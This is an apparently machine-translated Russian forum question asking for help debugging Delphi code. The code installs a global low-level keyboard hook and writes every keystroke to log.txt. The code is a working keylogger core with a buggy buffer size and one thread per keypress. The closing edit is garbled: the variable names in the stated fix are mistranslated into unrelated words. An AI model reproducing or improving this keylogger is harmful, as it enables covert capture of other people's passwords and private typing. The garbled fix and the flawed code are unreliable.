Перехват клавиатуры: как правильно записать в txt файл внутри BeginThread()?
Мне нужно, чтобы перехват клавиатуры записывал в текстовый файл из BeginThread()
проблема с моим кодом в том, что он не пишет {BKS}, {SHIFT} или {CAPS}. А также все захваченные символы дублируются в текстовом файле.
Итак, как я могу решить?
Код:
var
Form1: TForm1;
HookHandle: hHook;
ft: text;
ThrId: LongWord;
ThrHandle: Integer;
implementation
{$R *.dfm}
function ThreadWrite(PCharacter: PWideChar): Integer;
begin
append(ft);
write(ft,PCharacter);
closefile(ft);
EndThread(0);
Result := 0;
end;
function LowLevelKeyboardProc(nCode: Integer; wParam: wParam;
lParam: lParam): LRESULT; stdcall;
var
vkey: Cardinal;
buff: WideChar;
barray: array[0 .. 255] of WideChar;
kbState: TKeyboardState;
keybLayout: HKL;
_msg: PEventMsg;
begin
_msg := Pointer(lParam);
if (nCode >= 0) and (wParam = WM_KEYDOWN) then
begin
GetKeyboardState(kbState);
KeybLayout:=GetKeyboardLayout(0);
vkey := MapVirtualKeyEx(_msg.paramL, MAPVK_VSC_TO_VK, keybLayout);
ToUnicodeEx(vkey, _msg.paramL, @kbState, @buff, 1, 0, keybLayout);
if vkey = 8 then
begin
StringToWideChar('{BKS}',barray,sizeof(buff));
BeginThread(nil, 0, @ThreadWrite, @barray, 0, ThrId);
end
else
if vkey = 16 then
begin
StringToWideChar('{SHIFT}',barray,sizeof(buff));
BeginThread(nil, 0, @ThreadWrite, @barray, 0, ThrId);
end
else
if vkey = 20 then
begin
StringToWideChar('{CAPS}',barray,sizeof(buff));
BeginThread(nil, 0, @ThreadWrite, @barray, 0, ThrId);
end
else
BeginThread(nil, 0, @ThreadWrite, @buff, 0, ThrId);
end;
Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
end;
function InstallHook: Boolean;
begin
Result := False;
if HookHandle = 0 then
begin
HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);
Result := HookHandle <> 0;
end;
end;
function UninstallHook: Boolean;
begin
Result := UnhookWindowsHookEx(HookHandle);
HookHandle := 0;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile(ft,'log.txt');
rewrite(ft);
closefile(ft);
InstallHook;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UninstallHook;
end;
РЕДАКТИРОВАТЬ:
Решил проблему с {BKS}, {SHIFT}, {CAPS}:
Изменен:
SizeOf (положительный эффект)
Для того, чтобы:
SizeOf (Баррэ)